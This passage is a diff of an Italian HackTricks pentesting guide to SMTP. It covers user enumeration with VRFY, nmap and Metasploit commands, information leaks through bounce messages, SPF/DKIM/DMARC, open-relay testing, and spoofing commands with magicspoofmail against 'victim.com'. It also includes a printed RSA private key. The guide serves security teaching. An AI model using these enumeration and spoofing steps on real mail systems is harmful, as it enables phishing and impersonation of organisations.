Puoi anche ricevere un'email da un server SMTP cercando di **inviare a quel server un'email a un indirizzo inesistente** (poiché il server invierà all'attaccante un'email di notifica di mancata consegna). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi di notifica di mancata consegna.
|
Puoi anche ottenere un'email da un server SMTP cercando di **inviare a quel server un'email a un indirizzo inesistente** (poiché il server invierà all'attaccante un'email NDN). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi NDN.
|
||||||
|
|
||||||
Dovresti anche provare a **inviare contenuti diversi perché potresti trovare informazioni più interessanti** nelle intestazioni come: `X-Virus-Scanned: by av.domain.com`\
|
Dovresti anche provare a **inviare contenuti diversi perché potresti trovare informazioni più interessanti** nelle intestazioni come: `X-Virus-Scanned: by av.domain.com`\
|
||||||
Dovresti inviare il file di test EICAR.\
|
Dovresti inviare il file di test EICAR.\
|
||||||
|
@ -80,7 +80,7 @@ Oppure **automatizza** questo con il plugin **nmap** `smtp-ntlm-info.nse`
|
||||||
|
|
||||||
### Nome del server interno - Divulgazione di informazioni
|
### Nome del server interno - Divulgazione di informazioni
|
||||||
|
|
||||||
Alcuni server SMTP completano automaticamente l'indirizzo del mittente quando viene emesso il comando "MAIL FROM" senza un indirizzo completo, rivelando il suo nome interno:
|
Alcuni server SMTP completano automaticamente l'indirizzo del mittente quando il comando "MAIL FROM" viene emesso senza un indirizzo completo, rivelando il suo nome interno:
|
||||||
```
|
```
|
||||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||||
EHLO all
|
EHLO all
|
||||||
|
@ -129,7 +129,7 @@ RCPT TO:ed
|
||||||
```
|
```
|
||||||
### VRFY
|
### VRFY
|
||||||
|
|
||||||
Il comando VRFY viene utilizzato per verificare se un utente specifico esiste su un server SMTP.
|
VRFY (Verify) è un comando SMTP utilizzato per confermare l'esistenza di un utente specifico in un sistema di posta elettronica.
|
||||||
```bash
|
```bash
|
||||||
$ telnet 1.1.1.1 25
|
$ telnet 1.1.1.1 25
|
||||||
Trying 1.1.1.1...
|
Trying 1.1.1.1...
|
||||||
|
@ -168,7 +168,7 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||||
Nmap: nmap --script smtp-enum-users <IP>
|
Nmap: nmap --script smtp-enum-users <IP>
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -176,7 +176,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||||
|
|
||||||
## Rapporti DSN
|
## Rapporti DSN
|
||||||
|
|
||||||
**Rapporti di Notifica dello Stato di Consegna**: Se invii una **email** a un'organizzazione con un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo era invalido inviando una **mail di ritorno a te**. Gli **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sull'antivirus).
|
**Rapporti di notifica dello stato di consegna**: Se invii una **email** a un'organizzazione con un **indirizzo non valido**, l'organizzazione ti notificherà che l'indirizzo è stato invalidato inviando una **mail di ritorno a te**. Gli **intestazioni** dell'email restituita conterranno possibili **informazioni sensibili** (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sull'antivirus).
|
||||||
|
|
||||||
## [Comandi](smtp-commands.md)
|
## [Comandi](smtp-commands.md)
|
||||||
|
|
||||||
|
@ -253,18 +253,18 @@ La vulnerabilità di Smuggling SMTP ha permesso di aggirare tutte le protezioni
|
||||||
|
|
||||||
## Contromisure Spoofing Email
|
## Contromisure Spoofing Email
|
||||||
|
|
||||||
Le organizzazioni sono impedite dall'invio di email non autorizzate per conto loro impiegando **SPF**, **DKIM**, e **DMARC** a causa della facilità di falsificare messaggi SMTP.
|
Le organizzazioni sono impedite dall'invio di email non autorizzate per conto loro utilizzando **SPF**, **DKIM** e **DMARC** a causa della facilità di falsificare i messaggi SMTP.
|
||||||
|
|
||||||
Una **guida completa a queste contromisure** è resa disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||||
|
|
||||||
### SPF
|
### SPF
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **record TXT** in `_spf.domain.com` lo si crea in `domain.com` utilizzando la **stessa sintassi**.\
|
SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **record TXT** in `_spf.domain.com` lo si crea in `domain.com` utilizzando la **stessa sintassi**.\
|
||||||
Inoltre, per riutilizzare i record spf precedenti è comune trovare qualcosa del genere `"v=spf1 include:_spf.google.com ~all"`
|
Inoltre, per riutilizzare i record SPF precedenti è comune trovare qualcosa del genere `"v=spf1 include:_spf.google.com ~all"`
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Sender Policy Framework** (SPF) è un meccanismo che consente agli Agenti di Trasferimento di Posta (MTA) di verificare se un host che invia una email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica indirizzi IP/range, domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.
|
**Sender Policy Framework** (SPF) è un meccanismo che consente agli Agenti di Trasferimento di Posta (MTA) di verificare se un host che invia una email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica gli indirizzi IP/range, i domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.
|
||||||
|
|
||||||
#### Meccanismi
|
#### Meccanismi
|
||||||
|
|
||||||
|
@ -273,17 +273,17 @@ Da [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
||||||
| Meccanismo | Descrizione |
|
| Meccanismo | Descrizione |
|
||||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| ALL | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti. |
|
| ALL | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti. |
|
||||||
| A | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto all'indirizzo del mittente, corrisponderà. |
|
| A | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà. |
|
||||||
| IP4 | Se il mittente si trova in un determinato intervallo di indirizzi IPv4, corrisponde. |
|
| IP4 | Se il mittente si trova in un determinato intervallo di indirizzi IPv4, corrisponde. |
|
||||||
| IP6 | Se il mittente si trova in un determinato intervallo di indirizzi IPv6, corrisponde. |
|
| IP6 | Se il mittente si trova in un determinato intervallo di indirizzi IPv6, corrisponde. |
|
||||||
| MX | Se il nome di dominio ha un record MX che risolve all'indirizzo del mittente, corrisponderà (ovvero la posta proviene da uno dei server di posta in arrivo del dominio). |
|
| MX | Se il nome di dominio ha un record MX che risolve all'indirizzo del mittente, corrisponderà (ovvero la posta proviene da uno dei server di posta in arrivo del dominio). |
|
||||||
| PTR | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio risolve all'indirizzo del client (DNS inverso confermato in avanti), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile. |
|
| PTR | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio risolve all'indirizzo del client (DNS inverso confermato in avanti), corrisponde. Questo meccanismo è scoraggiato e dovrebbe essere evitato, se possibile. |
|
||||||
| EXISTS | Se il nome di dominio dato risolve a un qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL. |
|
| EXISTS | Se il nome di dominio dato risolve a un qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL. |
|
||||||
| INCLUDE | Fa riferimento alla politica di un altro dominio. Se la politica di quel dominio passa, passa anche questo meccanismo. Tuttavia, se la politica inclusa fallisce, il processo continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento. |
|
| INCLUDE | Fa riferimento alla politica di un altro dominio. Se la politica di quel dominio passa, passa anche questo meccanismo. Tuttavia, se la politica inclusa fallisce, il processo continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento. |
|
||||||
| REDIRECT | <p>Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La politica SPF del dominio indicato nel Meccanismo di reindirizzamento verrà utilizzata.</p> |
|
| REDIRECT | <p>Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La politica SPF del dominio indicato nel Meccanismo di reindirizzamento verrà utilizzata.</p> |
|
||||||
|
|
||||||
È anche possibile identificare **Qualificatori** che indicano **cosa fare se un meccanismo viene corrisposto**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se viene corrisposto un qualsiasi meccanismo, ciò significa che è consentito).\
|
È anche possibile identificare **Qualificatori** che indicano **cosa fare se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un qualsiasi meccanismo corrisponde, significa che è consentito).\
|
||||||
Di solito noterai **alla fine di ciascuna politica SPF** qualcosa del genere: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.**
|
Di solito noterai **alla fine di ciascuna politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.**
|
||||||
|
|
||||||
#### Qualificatori
|
#### Qualificatori
|
||||||
|
|
||||||
|
@ -294,7 +294,7 @@ Ogni meccanismo all'interno della politica può essere preceduto da uno dei quat
|
||||||
* **`~`**: Indica SOFTFAIL, fungendo da punto intermedio tra NEUTRO e FAIL. Le email che soddisfano questo risultato vengono tipicamente accettate ma contrassegnate di conseguenza.
|
* **`~`**: Indica SOFTFAIL, fungendo da punto intermedio tra NEUTRO e FAIL. Le email che soddisfano questo risultato vengono tipicamente accettate ma contrassegnate di conseguenza.
|
||||||
* **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata direttamente.
|
* **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata direttamente.
|
||||||
|
|
||||||
Nell'esempio seguente, è illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF da diversi domini all'interno della prima politica SPF:
|
Nell'esempio seguente è illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF da diversi domini all'interno della prima politica SPF:
|
||||||
```shell-session
|
```shell-session
|
||||||
dig txt google.com | grep spf
|
dig txt google.com | grep spf
|
||||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||||
|
@ -313,13 +313,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
||||||
dig txt _netblocks3.google.com | grep spf
|
dig txt _netblocks3.google.com | grep spf
|
||||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||||
```
|
```
|
||||||
Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o. **Oggi**, se una **email** proviene da un **dominio senza un record SPF valido** probabilmente verrà **rifiutata/marcata come non attendibile automaticamente**.
|
Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o. **Oggi**, se **l'email** proviene da un **dominio senza un record SPF valido** probabilmente verrà **rifiutata/marcata come non attendibile automaticamente**.
|
||||||
|
|
||||||
Per verificare l'SPF di un dominio è possibile utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
Per verificare l'SPF di un dominio è possibile utilizzare strumenti online come: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||||
|
|
||||||
### DKIM (DomainKeys Identified Mail)
|
### DKIM (DomainKeys Identified Mail)
|
||||||
|
|
||||||
DKIM viene utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di Mail Transfer Agents (MTA) esterni attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova in un record TXT del dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome di dominio.
|
DKIM viene utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta (MTA) esterni attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova in un record TXT del dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome di dominio.
|
||||||
|
|
||||||
Ad esempio, per richiedere la chiave, sono essenziali il nome di dominio e il selettore. Questi possono essere trovati nell'intestazione dell'email `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`.
|
Ad esempio, per richiedere la chiave, sono essenziali il nome di dominio e il selettore. Questi possono essere trovati nell'intestazione dell'email `DKIM-Signature`, ad esempio, `d=gmail.com;s=20120113`.
|
||||||
|
|
||||||
|
@ -364,27 +364,27 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||||
|
|
||||||
**Da** [**qui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
**Da** [**qui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||||
È necessario avere record SPF separati per ciascun sottodominio da cui si desidera inviare posta.\
|
È necessario avere record SPF separati per ciascun sottodominio da cui si desidera inviare posta.\
|
||||||
Quanto segue è stato originariamente pubblicato su openspf.org, che era una grande risorsa per questo tipo di informazioni.
|
Quanto segue è stato originariamente pubblicato su openspf.org, che un tempo era una grande risorsa per questo tipo di informazioni.
|
||||||
|
|
||||||
> La Domanda del Demone: Cosa succede con i sottodomini?
|
> La Domanda del Demone: Cosa succede con i sottodomini?
|
||||||
>
|
>
|
||||||
> Se ricevo posta da pielovers.demon.co.uk e non ci sono dati SPF per pielovers, dovrei tornare indietro di un livello e testare SPF per demon.co.uk? No. Ogni sottodominio in Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applichi per impostazione predefinita a tutti i suoi clienti; se Demon vuole farlo, può impostare record SPF per ciascun sottodominio.
|
> Se ricevo posta da pielovers.demon.co.uk e non ci sono dati SPF per pielovers, dovrei tornare indietro di un livello e testare SPF per demon.co.uk? No. Ogni sottodominio presso Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applichi per impostazione predefinita a tutti i suoi clienti; se Demon vuole farlo, può configurare record SPF per ciascun sottodominio.
|
||||||
>
|
>
|
||||||
> Quindi il consiglio agli editori SPF è il seguente: dovresti aggiungere un record SPF per ciascun sottodominio o nome host che ha un record A o MX.
|
> Quindi il consiglio agli editori SPF è il seguente: dovresti aggiungere un record SPF per ciascun sottodominio o nome host che ha un record A o MX.
|
||||||
>
|
>
|
||||||
> I siti con record A o MX wildcard dovrebbero avere anche un record SPF wildcard, della forma: \* IN TXT "v=spf1 -all"
|
> I siti con record A o MX wildcard dovrebbero anche avere un record SPF wildcard, della forma: \* IN TXT "v=spf1 -all"
|
||||||
|
|
||||||
Ha senso - un sottodominio potrebbe benissimo trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa.
|
Ha senso - un sottodominio potrebbe benissimo trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa.
|
||||||
|
|
||||||
### **Relay Aperto**
|
### **Relay Aperto**
|
||||||
|
|
||||||
Quando vengono inviate email, è cruciale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay fidato dal destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali **intervalli di IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio spesso identificato nelle valutazioni della sicurezza.
|
Quando vengono inviate email, è cruciale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay affidabile dal destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali **intervalli di IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio spesso identificato nelle valutazioni della sicurezza.
|
||||||
|
|
||||||
Un workaround che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente per le comunicazioni con clienti potenziali o in corso, è **consentire connessioni da qualsiasi indirizzo IP**. Ciò viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:
|
Un workaround che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente per le comunicazioni con potenziali o attuali clienti, è **consentire connessioni da qualsiasi indirizzo IP**. Ciò viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:
|
||||||
```bash
|
```bash
|
||||||
mynetworks = 0.0.0.0/0
|
mynetworks = 0.0.0.0/0
|
||||||
```
|
```
|
||||||
Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi origine esterna), viene comunemente utilizzato lo strumento `nmap`. Esso include uno script specifico progettato per testare ciò. Il comando per condurre una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando `nmap` è:
|
Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi origine esterna), viene comunemente utilizzato lo strumento `nmap`. Esso include uno script specifico progettato per testare ciò. Il comando per condurre una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 usando `nmap` è:
|
||||||
```bash
|
```bash
|
||||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||||
```
|
```
|
||||||
|
@ -409,8 +409,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Se riscontri un **errore nell'utilizzo della libreria dkim di Python** nel parsing della chiave, sentiti libero di utilizzare la seguente.\
|
Se riscontri un **errore nell'utilizzo della libreria dkim python** nel parsing della chiave, sentiti libero di utilizzare la seguente.\
|
||||||
**NOTA**: Questo è solo un fix temporaneo per effettuare controlli rapidi nei casi in cui per qualche motivo la chiave privata di openssl **non possa essere analizzata da dkim**.
|
**NOTA**: Questo è solo un fix temporaneo per effettuare controlli rapidi nei casi in cui per qualche motivo la chiave privata di openssl **non può essere analizzata da dkim**.
|
||||||
```
|
```
|
||||||
-----BEGIN RSA PRIVATE KEY-----
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||||
|
@ -509,7 +509,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||||
* Tecniche di manipolazione dei link
|
* Tecniche di manipolazione dei link
|
||||||
* Allegati sospetti (non comuni)
|
* Allegati sospetti (non comuni)
|
||||||
* Contenuto dell'email danneggiato
|
* Contenuto dell'email danneggiato
|
||||||
* Utilizzo di valori diversi da quelli degli header della mail
|
* Valori utilizzati diversi da quelli degli header della mail
|
||||||
* Esistenza di un certificato SSL valido e attendibile
|
* Esistenza di un certificato SSL valido e attendibile
|
||||||
* Invio della pagina a siti di filtraggio dei contenuti web
|
* Invio della pagina a siti di filtraggio dei contenuti web
|
||||||
|
|
||||||
|
@ -582,15 +582,15 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare in profondità, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
|
|
@ -6,17 +6,17 @@
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, ottenere shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ Questo comando viene utilizzato per invertire i ruoli tra il client e il server,
|
||||||
Con il comando AUTH, il client si autentica presso il server, fornendo il proprio nome utente e password. È un altro livello di sicurezza per garantire una trasmissione corretta.
|
Con il comando AUTH, il client si autentica presso il server, fornendo il proprio nome utente e password. È un altro livello di sicurezza per garantire una trasmissione corretta.
|
||||||
|
|
||||||
**RSET**\
|
**RSET**\
|
||||||
Comunica al server che il trasferimento dell'email in corso verrà terminato, anche se la conversazione SMTP non verrà chiusa (come nel caso di QUIT).
|
Comunica al server che il trasferimento dell'email in corso sta per essere terminato, anche se la conversazione SMTP non verrà chiusa (come nel caso di QUIT).
|
||||||
|
|
||||||
**EXPN**\
|
**EXPN**\
|
||||||
Questo comando SMTP chiede una conferma sull'identificazione di una lista di distribuzione.
|
Questo comando SMTP chiede una conferma sull'identificazione di una lista di distribuzione.
|
||||||
|
@ -61,9 +61,9 @@ Questo comando SMTP chiede una conferma sull'identificazione di una lista di dis
|
||||||
**QUIT**\
|
**QUIT**\
|
||||||
Termina la conversazione SMTP.
|
Termina la conversazione SMTP.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
